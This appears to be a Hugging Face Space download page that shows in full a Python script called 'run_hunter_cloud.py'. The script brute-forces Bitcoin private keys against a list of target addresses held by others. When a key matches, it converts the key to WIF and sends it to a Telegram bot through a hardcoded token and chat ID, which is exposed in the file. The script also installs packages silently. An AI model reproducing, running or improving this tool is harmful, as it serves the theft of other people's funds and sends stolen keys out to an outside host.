Download run_hunter_cloud.py from linko10/linko: direct link, hf CLI and curl.
- Browser
- Download file 4.23 kB
-
https://huggingface.co/spaces/linko10/linko/resolve/main/run_hunter_cloud.py
- Command line
-
hf download hf://spaces/linko10/linko/run_hunter_cloud.py
-
curl -L -o run_hunter_cloud.py https://huggingface.co/spaces/linko10/linko/resolve/main/run_hunter_cloud.py
4.23 kB
| import os | |
| import sys | |
| import subprocess | |
| def ensure_dependencies(): | |
| libs = ['coincurve', 'requests', 'base58'] | |
| for lib in libs: | |
| try: | |
| __import__(lib) | |
| except ImportError: | |
| subprocess.run([sys.executable, "-m", "pip", "install", lib, "--quiet"]) | |
| ensure_dependencies() | |
| import hashlib | |
| import time | |
| import random | |
| import base58 | |
| import requests | |
| import coincurve | |
| from multiprocessing import Process, Value, cpu_count | |
| TG_TOKEN = "8936479076:AAE_nWzWFrjAUN1JAFOMJpv4awMYmh2XYps" | |
| TG_ID = "6832828732" | |
| VAULT_ADDR = "bc1p3jlr9wskycdg0fnfwk0fjjumy5f25s8h04e5ms6lm862rs09du8s6tjsxa" | |
| TOTAL_NODES = 15 | |
| def get_node_id(): | |
| if os.environ.get("NODE_ID"): | |
| return int(os.environ.get("NODE_ID")) | |
| if os.path.exists("node_id.txt"): | |
| try: | |
| with open("node_id.txt", "r") as f: | |
| return int(f.read().strip()) | |
| except: | |
| pass | |
| return 1 | |
| NODE_ID = get_node_id() | |
| TARGET_FILE = "clean_targets.txt" if os.path.exists("clean_targets.txt") else "targets_part1.txt" | |
| TARGET_BYTES = set() | |
| def load_targets(): | |
| count = 0 | |
| if os.path.exists(TARGET_FILE): | |
| with open(TARGET_FILE, 'r', encoding='utf-8', errors='ignore') as f: | |
| for line in f: | |
| addr = line.strip() | |
| if addr: | |
| try: | |
| decoded = base58.b58decode_check(addr) | |
| TARGET_BYTES.add(decoded[1:]) | |
| count += 1 | |
| except: | |
| pass | |
| return count | |
| def send_tg(msg): | |
| url = f"https://api.telegram.org/bot{TG_TOKEN}/sendMessage" | |
| try: | |
| requests.post(url, json={"chat_id": TG_ID, "text": msg, "parse_mode": "Markdown"}, timeout=10) | |
| except: | |
| pass | |
| def worker(worker_id, start_range, end_range, shared_counter): | |
| local_checked = 0 | |
| start_time = time.time() | |
| current_n = start_range + (worker_id * 1000000) | |
| while current_n < end_range: | |
| try: | |
| pk_obj = coincurve.PublicKey.from_secret_int(current_n) | |
| h160 = hashlib.new('ripemd160', hashlib.sha256(pk_obj.format(compressed=True)).digest()).digest() | |
| if h160 in TARGET_BYTES: | |
| p_hex = format(current_n, '064x') | |
| raw = bytes.fromhex('80' + p_hex + '01') | |
| chk = hashlib.sha256(hashlib.sha256(raw).digest()).digest()[:4] | |
| wif = base58.b58encode(raw + chk).decode() | |
| hit_msg = f"πππ *[CLOUD HIT FOUND!]* Node: `{NODE_ID}` | WIF: `{wif}`" | |
| send_tg(hit_msg) | |
| with open("CLOUD_WINNING_WIF.txt", "w") as out: | |
| out.write(wif) | |
| os._exit(0) | |
| except: | |
| pass | |
| current_n += 1 | |
| local_checked += 1 | |
| if local_checked % 200000 == 0: | |
| with shared_counter.get_lock(): | |
| shared_counter.value += 200000 | |
| elapsed = time.time() - start_time | |
| spd = int(local_checked / elapsed) if elapsed > 0 else 0 | |
| log_line = f"[Node-{NODE_ID}-W{worker_id}] | Speed: {spd:,} k/s | Total Checked: {shared_counter.value:,} | Key: 0x{format(current_n, '064x')}\n" | |
| print(log_line.strip()) | |
| with open("hunter_output.log", "a") as logf: | |
| logf.write(log_line) | |
| if __name__ == "__main__": | |
| t_count = load_targets() | |
| total_keyspace = 2**256 | |
| step = total_keyspace // TOTAL_NODES | |
| my_start = (NODE_ID - 1) * step | |
| my_end = NODE_ID * step if NODE_ID < TOTAL_NODES else total_keyspace | |
| send_tg(f"π *[LINKO CLOUD NODE {NODE_ID} ONLINE]* π | Targets: `{t_count:,}` | Status: Active!") | |
| cores = min(2, cpu_count()) | |
| shared_counter = Value('q', 0) | |
| sub_step = (my_end - my_start) // cores | |
| for i in range(cores): | |
| s_rng = my_start + (i * sub_step) | |
| e_rng = my_start + ((i + 1) * sub_step) if i < cores - 1 else my_end | |
| p = Process(target=worker, args=(i, s_rng, e_rng, shared_counter)) | |
| p.daemon = True | |
| p.start() | |
| try: | |
| while True: time.sleep(60) | |
| except: pass | |